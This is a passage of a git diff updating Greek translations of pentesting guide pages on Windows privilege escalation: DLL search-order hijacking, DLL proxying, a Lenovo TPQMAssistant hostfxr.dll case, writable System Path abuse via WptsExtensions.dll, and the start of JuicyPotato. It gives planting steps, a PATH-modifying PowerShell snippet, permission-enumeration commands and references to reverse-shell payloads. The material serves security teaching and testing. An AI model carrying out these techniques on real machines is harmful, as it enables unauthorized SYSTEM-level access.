δικαιώματα θα προσπαθήσει να φορτώσει** σε κάποιο **μέρος όπου θα αναζητηθεί**. Επομένως, θα μπορέσουμε να **γράψουμε** μια dll σε έναν **φάκελο** όπου η **dll αναζητείται πριν** από τον φάκελο όπου βρίσκεται η **αρχική dll** (παράξενος περίπτωση), ή θα μπορέσουμε να **γράψουμε σε κάποιο φάκελο όπου η dll θα αναζητηθεί** και η αρχική **dll δεν υπάρχει** σε κανέναν φάκελο. +Για να κλιμακώσουμε δικαιώματα, η καλύτερη ευκαιρία που έχουμε είναι να μπορέσουμε να **γράψουμε μια dll που μια διαδικασία με δικαιώματα θα προσπαθήσει να φορτώσει** σε κάποιο **μέρος όπου θα αναζητηθεί**. Επομένως, θα μπορέσουμε να **γράψουμε** μια dll σε έναν **φάκελο** όπου η **dll αναζητείται πριν** από τον φάκελο όπου βρίσκεται η **αρχική dll** (παράξενη περίπτωση), ή θα μπορέσουμε να **γράψουμε σε κάποιο φάκελο όπου η dll θα αναζητηθεί** και η αρχική **dll δεν υπάρχει** σε κανέναν φάκελο. ### Dll Search Order **Μέσα στην** [**τεκμηρίωση της Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **μπορείτε να βρείτε πώς φορτώνονται οι DLL συγκεκριμένα.** -**Οι εφαρμογές Windows** αναζητούν DLL ακολουθώντας ένα σύνολο **προκαθορισμένων διαδρομών αναζήτησης**, τηρώντας μια συγκεκριμένη ακολουθία. Το ζήτημα της εκμετάλλευσης DLL προκύπτει όταν μια επιβλαβής DLL τοποθετείται στρατηγικά σε έναν από αυτούς τους καταλόγους, διασφαλίζοντας ότι θα φορτωθεί πριν από την αυθεντική DLL. Μια λύση για να αποτραπεί αυτό είναι να διασφαλιστεί ότι η εφαρμογή χρησιμοποιεί απόλυτες διαδρομές όταν αναφέρεται στις DLL που απαιτεί. +**Οι εφαρμογές των Windows** αναζητούν DLL ακολουθώντας ένα σύνολο **προκαθορισμένων διαδρομών αναζήτησης**, τηρώντας μια συγκεκριμένη ακολουθία. Το ζήτημα της εκμετάλλευσης DLL προκύπτει όταν μια κακόβουλη DLL τοποθετείται στρατηγικά σε έναν από αυτούς τους καταλόγους, διασφαλίζοντας ότι θα φορτωθεί πριν από την αυθεντική DLL. Μια λύση για να αποτραπεί αυτό είναι να διασφαλιστεί ότι η εφαρμογή χρησιμοποιεί απόλυτες διαδρομές όταν αναφέρεται στις DLL που απαιτεί. Μπορείτε να δείτε τη **σειρά αναζήτησης DLL σε 32-bit** συστήματα παρακάτω: 1. Ο κατάλογος από τον οποίο φορτώθηκε η εφαρμογή. 2. Ο κατάλογος συστήματος. Χρησιμοποιήστε τη [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) συνάρτηση για να αποκτήσετε τη διαδρομή αυτού του καταλόγου.(_C:\Windows\System32_) -3. Ο κατάλογος 16-bit συστήματος. Δεν υπάρχει συνάρτηση που να αποκτά τη διαδρομή αυτού του καταλόγου, αλλά αναζητείται. (_C:\Windows\System_) +3. Ο 16-bit κατάλογος συστήματος. Δεν υπάρχει συνάρτηση που να αποκτά τη διαδρομή αυτού του καταλόγου, αλλά αναζητείται. (_C:\Windows\System_) 4. Ο κατάλογος των Windows. Χρησιμοποιήστε τη [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) συνάρτηση για να αποκτήσετε τη διαδρομή αυτού του καταλόγου. 1. (_C:\Windows_) 5. Ο τρέχων κατάλογος. 6. Οι κατάλογοι που αναφέρονται στη μεταβλητή περιβάλλοντος PATH. Σημειώστε ότι αυτό δεν περιλαμβάνει τη διαδρομή ανά εφαρμογή που καθορίζεται από το κλειδί μητρώου **App Paths**. Το κλειδί **App Paths** δεν χρησιμοποιείται κατά τον υπολογισμό της διαδρομής αναζήτησης DLL. -Αυτή είναι η **προεπιλεγμένη** σειρά αναζήτησης με το **SafeDllSearchMode** ενεργοποιημένο. Όταν είναι απενεργοποιημένο, ο τρέχων κατάλογος ανεβαίνει στη δεύτερη θέση. Για να απενεργοποιήσετε αυτή τη δυνατότητα, δημιουργήστε την **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** τιμή μητρώου και ορίστε την σε 0 (η προεπιλογή είναι ενεργοποιημένη). +Αυτή είναι η **προεπιλεγμένη** σειρά αναζήτησης με ενεργοποιημένο το **SafeDllSearchMode**. Όταν είναι απενεργοποιημένο, ο τρέχων κατάλογος ανεβαίνει στη δεύτερη θέση. Για να απενεργοποιήσετε αυτή τη δυνατότητα, δημιουργήστε την **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** τιμή μητρώου και ορίστε την σε 0 (η προεπιλογή είναι ενεργοποιημένη). Αν η [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) συνάρτηση κληθεί με **LOAD_WITH_ALTERED_SEARCH_PATH**, η αναζήτηση αρχίζει στον κατάλογο του εκτελέσιμου module που **φορτώνει η LoadLibraryEx**. -Τέλος, σημειώστε ότι **μια dll θα μπορούσε να φορτωθεί υποδεικνύοντας την απόλυτη διαδρομή αντί μόνο το όνομα**. Σε αυτή την περίπτωση, η dll θα **αναζητηθεί μόνο σε αυτή τη διαδρομή** (αν η dll έχει εξαρτήσεις, αυτές θα αναζητηθούν όπως φορτώθηκαν με το όνομα). +Τέλος, σημειώστε ότι **μια dll θα μπορούσε να φορτωθεί υποδεικνύοντας την απόλυτη διαδρομή αντί μόνο το όνομα**. Σε αυτή την περίπτωση, η dll θα **αναζητηθεί μόνο σε αυτή τη διαδρομή** (αν η dll έχει εξαρτήσεις, αυτές θα αναζητηθούν όπως μόλις φορτώθηκαν με το όνομα). Υπάρχουν άλλοι τρόποι για να τροποποιήσετε τις μεθόδους αναζήτησης, αλλά δεν θα τους εξηγήσω εδώ. @@ -65,7 +65,7 @@ Ορισμένες εξαιρέσεις από την τυπική σειρά αναζήτησης DLL σημειώνονται στην τεκμηρίωση των Windows: -- Όταν συναντηθεί μια **DLL που μοιράζεται το όνομά της με μία που έχει ήδη φορτωθεί στη μνήμη**, το σύστημα παρακάμπτει τη συνήθη αναζήτηση. Αντίθετα, εκτελεί έναν έλεγχο για ανακατεύθυνση και ένα μανιφέστο πριν επιστρέψει στη DLL που είναι ήδη στη μνήμη. **Σε αυτό το σενάριο, το σύστημα δεν διεξάγει αναζήτηση για τη DLL**. +- Όταν συναντηθεί μια **DLL που μοιράζεται το όνομά της με μία που είναι ήδη φορτωμένη στη μνήμη**, το σύστημα παρακάμπτει την συνήθη αναζήτηση. Αντίθετα, εκτελεί έναν έλεγχο για ανακατεύθυνση και ένα μανιφέστο πριν επιστρέψει στη DLL που είναι ήδη στη μνήμη. **Σε αυτό το σενάριο, το σύστημα δεν διεξάγει αναζήτηση για τη DLL**. - Σε περιπτώσεις όπου η DLL αναγνωρίζεται ως **γνωστή DLL** για την τρέχουσα έκδοση των Windows, το σύστημα θα χρησιμοποιήσει την έκδοση της γνωστής DLL, μαζί με οποιεσδήποτε εξαρτώμενες DLL της, **παρακάμπτοντας τη διαδικασία αναζήτησης**. Το κλειδί μητρώου **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** περιέχει μια λίστα με αυτές τις γνωστές DLL. - Αν μια **DLL έχει εξαρτήσεις**, η αναζήτηση για αυτές τις εξαρτώμενες DLL διεξάγεται σαν να υποδεικνύονταν μόνο με τα **ονόματα των modules**, ανεξάρτητα από το αν η αρχική DLL αναγνωρίστηκε μέσω πλήρους διαδρομής. @@ -74,10 +74,10 @@ **Απαιτήσεις**: - Εντοπίστε μια διαδικασία που λειτουργεί ή θα λειτουργήσει με **διαφορετικά δικαιώματα** (οριζόντια ή πλευρική κίνηση), η οποία **λείπει μια DLL**. -- Διασφαλίστε ότι υπάρχει **πρόσβαση εγγραφής** σε οποιονδήποτε **φάκελο** στον οποίο θα **αναζητηθεί η DLL**. Αυτή η τοποθεσία μπορεί να είναι ο φάκελος της εκτελέσιμης ή ένας φάκελος εντός της διαδρομής του συστήματος. +- Διασφαλίστε ότι υπάρχει **δικαίωμα εγγραφής** για οποιονδήποτε **κατάλογο** στον οποίο θα **αναζητηθεί η DLL**. Αυτή η τοποθεσία μπορεί να είναι ο κατάλογος της εκτελέσιμης ή ένας κατάλογος εντός της διαδρομής του συστήματος. Ναι, οι απαιτήσεις είναι δύσκολο να βρεθούν καθώς **κατά προεπιλογή είναι κάπως παράξενο να βρείτε μια εκτελέσιμη με δικαιώματα που να λείπει μια dll** και είναι ακόμη **πιο παράξενο να έχετε δικαιώματα εγγραφής σε έναν φάκελο διαδρομής συστήματος** (δεν μπορείτε κατά προεπιλογή). Αλλά, σε κακώς ρυθμισμένα περιβάλλοντα αυτό είναι δυνατό.\ -Σε περίπτωση που έχετε τύχη και βρείτε τον εαυτό σας να πληροί τις απαιτήσεις, μπορείτε να ελέγξετε το έργο [UACME](https://github.com/hfiref0x/UACME). Ακόμη και αν ο **κύριος στόχος του έργου είναι η παράκαμψη του UAC**, μπορεί να βρείτε εκεί μια **PoC** εκμετάλλευσης DLL για την έκδοση των Windows που μπορείτε να χρησιμοποιήσετε (πιθανώς αλλάζοντας απλώς τη διαδρομή του φακέλου όπου έχετε δικαιώματα εγγραφής). +Σε περίπτωση που έχετε τύχη και πληροίτε τις απαιτήσεις, μπορείτε να ελέγξετε το [UACME](https://github.com/hfiref0x/UACME) έργο. Ακόμη και αν ο **κύριος στόχος του έργου είναι η παράκαμψη του UAC**, μπορεί να βρείτε εκεί μια **PoC** για μια εκμετάλλευση DLL για την έκδοση των Windows που μπορείτε να χρησιμοποιήσετε (πιθανώς αλλάζοντας απλώς τη διαδρομή του φακέλου όπου έχετε δικαιώματα εγγραφής). Σημειώστε ότι μπορείτε να **ελέγξετε τα δικαιώματά σας σε έναν φάκελο** κάνοντας: ```bash @@ -93,7 +93,7 @@ for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` -Για έναν πλήρη οδηγό σχετικά με το πώς να **καταχραστείτε το Dll Hijacking για να κλιμακώσετε δικαιώματα** με άδειες για εγγραφή σε έναν **φάκελο System Path**, ελέγξτε: +Για έναν πλήρη οδηγό σχετικά με το πώς να **καταχραστείτε το Dll Hijacking για να κλιμακώσετε δικαιώματα** με άδειες για εγγραφή σε έναν **φάκελο System Path** ελέγξτε: {{#ref}} writable-sys-path-+dll-hijacking-privesc.md @@ -106,16 +106,16 @@ writable-sys-path-+dll-hijacking-privesc.md ### Παράδειγμα -Σε περίπτωση που βρείτε ένα εκμεταλλεύσιμο σενάριο, ένα από τα πιο σημαντικά πράγματα για να το εκμεταλλευτείτε επιτυχώς θα ήταν να **δημιουργήσετε μια dll που εξάγει τουλάχιστον όλες τις λειτουργίες που θα εισάγει το εκτελέσιμο από αυτήν**. Ούτως ή άλλως, σημειώστε ότι το Dll Hijacking είναι χρήσιμο για να [κλιμακώσετε από Medium Integrity level σε High **(παρακάμπτοντας το UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ή από [**High Integrity σε SYSTEM**](../index.html#from-high-integrity-to-system)**.** Μπορείτε να βρείτε ένα παράδειγμα για **πώς να δημιουργήσετε μια έγκυρη dll** μέσα σε αυτή τη μελέτη dll hijacking που επικεντρώνεται στο dll hijacking για εκτέλεση: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ -Επιπλέον, στην **επόμενη ενότητα** μπορείτε να βρείτε μερικούς **βασικούς κωδικούς dll** που μπορεί να είναι χρήσιμοι ως **πρότυπα** ή για να δημιουργήσετε μια **dll με μη απαιτούμενες εξαγόμενες λειτουργίες**. +Σε περίπτωση που βρείτε ένα εκμεταλλεύσιμο σενάριο, ένα από τα πιο σημαντικά πράγματα για να το εκμεταλλευτείτε επιτυχώς θα ήταν να **δημιουργήσετε ένα dll που εξάγει τουλάχιστον όλες τις λειτουργίες που θα εισάγει το εκτελέσιμο από αυτό**. Ούτως ή άλλως, σημειώστε ότι το Dll Hijacking είναι χρήσιμο για να [κλιμακώσετε από Medium Integrity level σε High **(παρακάμπτοντας το UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ή από [**High Integrity σε SYSTEM**](../index.html#from-high-integrity-to-system)**.** Μπορείτε να βρείτε ένα παράδειγμα για **πώς να δημιουργήσετε ένα έγκυρο dll** μέσα σε αυτή τη μελέτη dll hijacking που επικεντρώνεται στο dll hijacking για εκτέλεση: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +Επιπλέον, στην **επόμενη ενότητα** μπορείτε να βρείτε μερικούς **βασικούς κωδικούς dll** που μπορεί να είναι χρήσιμοι ως **πρότυπα** ή για να δημιουργήσετε ένα **dll με μη απαιτούμενες εξαγόμενες λειτουργίες**. ## **Δημιουργία και μεταγλώττιση Dlls** ### **Dll Proxifying** -Βασικά, μια **Dll proxy** είναι μια Dll ικανή να **εκτελεί τον κακόβουλο κώδικά σας όταν φορτωθεί** αλλά και να **εκθέτει** και να **λειτουργεί** όπως **αναμένεται** **αναμεταδίδοντας όλες τις κλήσεις στη πραγματική βιβλιοθήκη**. +Βασικά, ένα **Dll proxy** είναι ένα Dll ικανό να **εκτελεί τον κακόβουλο κώδικά σας όταν φορτωθεί** αλλά και να **εκθέτει** και να **λειτουργεί** όπως **αναμένεται** **αναμεταδίδοντας όλες τις κλήσεις στη πραγματική βιβλιοθήκη**. -Με το εργαλείο [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ή [**Spartacus**](https://github.com/Accenture/Spartacus) μπορείτε στην πραγματικότητα να **υποδείξετε ένα εκτελέσιμο και να επιλέξετε τη βιβλιοθήκη** που θέλετε να proxify και να **δημιουργήσετε μια proxified dll** ή να **υποδείξετε τη Dll** και να **δημιουργήσετε μια proxified dll**. +Με το εργαλείο [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ή [**Spartacus**](https://github.com/Accenture/Spartacus) μπορείτε στην πραγματικότητα να **υποδείξετε ένα εκτελέσιμο και να επιλέξετε τη βιβλιοθήκη** που θέλετε να proxify και **να δημιουργήσετε ένα proxified dll** ή **να υποδείξετε το Dll** και **να δημιουργήσετε ένα proxified dll**. ### **Meterpreter** @@ -222,12 +222,12 @@ return TRUE; - **Συστατικό**: `TPQMAssistant.exe` που βρίσκεται στο `C:\ProgramData\Lenovo\TPQM\Assistant\`. - **Προγραμματισμένο Καθήκον**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` εκτελείται καθημερινά στις 9:30 π.μ. υπό το πλαίσιο του συνδεδεμένου χρήστη. -- **Δικαιώματα Καταλόγου**: Γράψιμο από `CREATOR OWNER`, επιτρέποντας στους τοπικούς χρήστες να ρίχνουν αυθαίρετα αρχεία. +- **Δικαιώματα Καταλόγου**: Γράψιμο από `CREATOR OWNER`, επιτρέποντας στους τοπικούς χρήστες να τοποθετούν αυθαίρετα αρχεία. - **Συμπεριφορά Αναζήτησης DLL**: Προσπαθεί να φορτώσει το `hostfxr.dll` από τον κατάλογο εργασίας του πρώτα και καταγράφει "NAME NOT FOUND" αν λείπει, υποδεικνύοντας προτεραιότητα αναζήτησης τοπικού καταλόγου. ### Υλοποίηση Εκμετάλλευσης -Ένας επιτιθέμενος μπορεί να τοποθετήσει ένα κακόβουλο stub `hostfxr.dll` στον ίδιο κατάλογο, εκμεταλλευόμενος την απουσία DLL για να επιτύχει εκτέλεση κώδικα υπό το πλαίσιο του χρήστη: +Ένας επιτιθέμενος μπορεί να τοποθετήσει ένα κακόβουλο stub `hostfxr.dll` στον ίδιο κατάλογο, εκμεταλλευόμενος την έλλειψη DLL για να επιτύχει εκτέλεση κώδικα υπό το πλαίσιο του χρήστη: ```c #include @@ -244,11 +244,11 @@ return TRUE; 1. Ως τυπικός χρήστης, ρίξτε το `hostfxr.dll` στο `C:\ProgramData\Lenovo\TPQM\Assistant\`. 2. Περιμένετε να εκτελεστεί η προγραμματισμένη εργασία στις 9:30 π.μ. υπό το πλαίσιο του τρέχοντος χρήστη. 3. Εάν είναι συνδεδεμένος ένας διαχειριστής όταν εκτελείται η εργασία, το κακόβουλο DLL εκτελείται στη συνεδρία του διαχειριστή με μέτρια ακεραιότητα. -4. Συνδυάστε τις τυπικές τεχνικές παράκαμψης UAC για να αναβαθμίσετε από μέτρια ακεραιότητα σε δικαιώματα SYSTEM. +4. Συνδυάστε τυπικές τεχνικές παράκαμψης UAC για να αναβαθμίσετε από μέτρια ακεραιότητα σε δικαιώματα SYSTEM. ### Mitigation -Η Lenovo κυκλοφόρησε την έκδοση UWP **1.12.54.0** μέσω του Microsoft Store, η οποία εγκαθιστά το TPQMAssistant στο `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, αφαιρεί την ευάλωτη προγραμματισμένη εργασία και απεγκαθιστά τα παλαιά συστατικά Win32. +Η Lenovo κυκλοφόρησε την έκδοση UWP **1.12.54.0** μέσω του Microsoft Store, η οποία εγκαθιστά το TPQMAssistant στο `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, αφαιρεί την ευάλωτη προγραμματισμένη εργασία και απεγκαθιστά τα παλαιά Win32 στοιχεία. ## References diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index db782f249..3eb84da32 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -14,15 +14,15 @@ ./ {{#endref}} -## Privesc με Dll Hijacking +## Κλιμάκωση με Dll Hijacking ### Εύρεση μιας ελλείπουσας Dll Το πρώτο πράγμα που χρειάζεστε είναι να **εντοπίσετε μια διαδικασία** που εκτελείται με **περισσότερα δικαιώματα** από εσάς και προσπαθεί να **φορτώσει μια Dll από το System Path** στο οποίο μπορείτε να γράψετε. -Το πρόβλημα σε αυτές τις περιπτώσεις είναι ότι πιθανώς αυτές οι διαδικασίες εκτελούνται ήδη. Για να βρείτε ποιες Dlls λείπουν από τις υπηρεσίες, πρέπει να εκκινήσετε το procmon το συντομότερο δυνατό (πριν φορτωθούν οι διαδικασίες). Έτσι, για να βρείτε τις λείπουσες .dll, κάντε: +Το πρόβλημα σε αυτές τις περιπτώσεις είναι ότι πιθανώς αυτές οι διαδικασίες εκτελούνται ήδη. Για να βρείτε ποιες Dlls λείπουν από τις υπηρεσίες, πρέπει να εκκινήσετε το procmon το συντομότερο δυνατό (πριν φορτωθούν οι διαδικασίες). Έτσι, για να βρείτε τις ελλείπουσες .dll, κάντε: -- **Δημιουργήστε** τον φάκελο `C:\privesc_hijacking` και προσθέστε τη διαδρομή `C:\privesc_hijacking` στη **μεταβλητή περιβάλλοντος System Path**. Μπορείτε να το κάνετε αυτό **χειροκίνητα** ή με **PS**: +- **Δημιουργήστε** το φάκελο `C:\privesc_hijacking` και προσθέστε το μονοπάτι `C:\privesc_hijacking` στη **μεταβλητή περιβάλλοντος System Path**. Μπορείτε να το κάνετε αυτό **χειροκίνητα** ή με **PS**: ```bash # Set the folder path to create and check events for $folderPath = "C:\privesc_hijacking" @@ -61,11 +61,11 @@ $newPath = "$envPath;$folderPath" | Diagnostic Policy Service (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | | ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | -Αφού το βρήκα αυτό, βρήκα αυτή την ενδιαφέρουσα ανάρτηση στο blog που εξηγεί επίσης πώς να [**καταχραστείτε το WptsExtensions.dll για privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Αυτό είναι που **θα κάνουμε τώρα**. +Αφού βρήκα αυτό, βρήκα αυτή την ενδιαφέρουσα ανάρτηση στο blog που εξηγεί επίσης πώς να [**καταχραστείτε το WptsExtensions.dll για privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Αυτό είναι που **θα κάνουμε τώρα**. ### Εκμετάλλευση -Έτσι, για να **ανεβάσουμε δικαιώματα**, θα καταχραστούμε τη βιβλιοθήκη **WptsExtensions.dll**. Έχοντας το **μονοπάτι** και το **όνομα**, απλώς χρειάζεται να **δημιουργήσουμε το κακόβουλο dll**. +Έτσι, για να **ανεβάσουμε δικαιώματα** θα καταχραστούμε τη βιβλιοθήκη **WptsExtensions.dll**. Έχοντας το **μονοπάτι** και το **όνομα**, απλώς χρειάζεται να **δημιουργήσουμε το κακόβουλο dll**. Μπορείτε να [**δοκιμάσετε να χρησιμοποιήσετε οποιοδήποτε από αυτά τα παραδείγματα**](#creating-and-compiling-dlls). Μπορείτε να εκτελέσετε payloads όπως: να αποκτήσετε ένα rev shell, να προσθέσετε έναν χρήστη, να εκτελέσετε ένα beacon... @@ -75,7 +75,7 @@ $newPath = "$envPath;$folderPath" Αυτή τη στιγμή που γράφω, η υπηρεσία **Task Scheduler** εκτελείται με **Nt AUTHORITY\SYSTEM**. -Έχοντας **δημιουργήσει το κακόβουλο Dll** (_στην περίπτωσή μου χρησιμοποίησα x64 rev shell και πήρα ένα shell πίσω αλλά ο defender το σκότωσε γιατί ήταν από το msfvenom_), αποθηκεύστε το στο writable System Path με το όνομα **WptsExtensions.dll** και **επανεκκινήστε** τον υπολογιστή (ή επανεκκινήστε την υπηρεσία ή κάντε ό,τι χρειάζεται για να επανεκκινήσετε την επηρεαζόμενη υπηρεσία/πρόγραμμα). +Έχοντας **δημιουργήσει το κακόβουλο Dll** (_στην περίπτωσή μου χρησιμοποίησα x64 rev shell και πήρα ένα shell πίσω αλλά ο defender το σκότωσε γιατί ήταν από το msfvenom_), αποθηκεύστε το στο Writable System Path με το όνομα **WptsExtensions.dll** και **επανεκκινήστε** τον υπολογιστή (ή επανεκκινήστε την υπηρεσία ή κάντε ό,τι χρειάζεται για να επανεκκινήσετε την επηρεαζόμενη υπηρεσία/πρόγραμμα). Όταν η υπηρεσία επανεκκινήσει, το **dll θα πρέπει να φορτωθεί και να εκτελεστεί** (μπορείτε να **ξαναχρησιμοποιήσετε** το κόλπο του **procmon** για να ελέγξετε αν η **βιβλιοθήκη φορτώθηκε όπως αναμενόταν**). diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 9f6c9b120..dbc21e2da 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **Το JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) μπορούν να χρησιμοποιηθούν για να **εκμεταλλευτούν τα ίδια δικαιώματα και να αποκτήσουν πρόσβαση επιπέδου `NT AUTHORITY\SYSTEM`**. _**Ελέγξτε:**_ +> [!WARNING] > **Το JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) μπορούν να χρησιμοποιηθούν για να **εκμεταλλευτούν τα ίδια προνόμια και να αποκτήσουν πρόσβαση επιπέδου `NT AUTHORITY\SYSTEM`**. _**Έλεγχος:**_ {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (κατάχρηση των χρυσών δικαιωμάτων) +## Juicy Potato (κατάχρηση των χρυσών προνομίων) -_Μια γλυκιά έκδοση του_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, με λίγο χυμό, δηλαδή **ένα άλλο εργαλείο Τοπικής Κατάχρησης Δικαιωμάτων, από Λογαριασμούς Υπηρεσιών Windows σε NT AUTHORITY\SYSTEM**_ +_Μια γλυκιά έκδοση του_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, με λίγο χυμό, δηλαδή **ένα άλλο εργαλείο Τοπικής Κατάχρησης Προνομίων, από Λογαριασμούς Υπηρεσιών Windows σε NT AUTHORITY\SYSTEM**_ #### Μπορείτε να κατεβάσετε το juicypotato από [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) @@ -18,15 +18,15 @@ _Μια γλυκιά έκδοση του_ [_RottenPotatoNG_](https://github.com/ [**Από το juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) και οι [παραλλαγές του](https://github.com/decoder-it/lonelypotato) εκμεταλλεύονται την αλυσίδα κατάχρησης δικαιωμάτων βασισμένη σε [`BITS`]() [υπηρεσία](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) έχοντας τον MiTM listener στο `127.0.0.1:6666` και όταν έχετε δικαιώματα `SeImpersonate` ή `SeAssignPrimaryToken`. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το `BITS` είχε απενεργοποιηθεί σκόπιμα και η θύρα `6666` είχε καταληφθεί. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) και οι [παραλλαγές του](https://github.com/decoder-it/lonelypotato) εκμεταλλεύονται την αλυσίδα κατάχρησης προνομίων βασισμένη σε [`BITS`]() [υπηρεσία](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) που έχει τον MiTM listener στο `127.0.0.1:6666` και όταν έχετε προνόμια `SeImpersonate` ή `SeAssignPrimaryToken`. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το `BITS` είχε σκόπιμα απενεργοποιηθεί και η θύρα `6666` είχε καταληφθεί. Αποφασίσαμε να οπλοποιήσουμε [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Πείτε γεια στο Juicy Potato**. -> Για τη θεωρία, δείτε [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) και ακολουθήστε την αλυσίδα των συνδέσμων και αναφορών. +> Για τη θεωρία, δείτε [Rotten Potato - Κατάχρηση Προνομίων από Λογαριασμούς Υπηρεσιών σε SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) και ακολουθήστε την αλυσίδα των συνδέσμων και αναφορών. Ανακαλύψαμε ότι, εκτός από το `BITS`, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλά χρειάζεται να: -1. είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, κανονικά έναν “χρήστη υπηρεσίας” που έχει δικαιώματα κατάχρησης +1. είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, κανονικά έναν “χρήστη υπηρεσίας” που έχει προνόμια κατάχρησης 2. να υλοποιούν τη διεπαφή `IMarshal` 3. να εκτελούνται ως ανυψωμένος χρήστης (SYSTEM, Διαχειριστής, …) @@ -34,16 +34,16 @@ _Μια γλυκιά έκδοση του_ [_RottenPotatoNG_](https://github.com/ ### Juicy λεπτομέρειες -Το JuicyPotato σας επιτρέπει να: +JuicyPotato σας επιτρέπει να: - **Στόχος CLSID** _επιλέξτε οποιοδήποτε CLSID θέλετε._ [_Εδώ_](http://ohpe.it/juicy-potato/CLSID/) _μπορείτε να βρείτε τη λίστα οργανωμένη κατά OS._ -- **Θύρα Listening COM** _ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληροκωδικοποιημένης 6666)_ +- **Θύρα Listening COM** _ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληρά κωδικοποιημένης 6666)_ - **Διεύθυνση IP Listening COM** _δεσμεύστε τον server σε οποιαδήποτε IP_ -- **Λειτουργία δημιουργίας διεργασίας** _ανάλογα με τα δικαιώματα του χρήστη που έχει καταχραστεί μπορείτε να επιλέξετε από:_ +- **Λειτουργία δημιουργίας διεργασίας** _ανάλογα με τα προνόμια του χρήστη που έχει καταχραστεί μπορείτε να επιλέξετε από:_ - `CreateProcessWithToken` (χρειάζεται `SeImpersonate`) - `CreateProcessAsUser` (χρειάζεται `SeAssignPrimaryToken`) - `και τα δύο` -- **Διεργασία προς εκκίνηση** _εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής_ +- 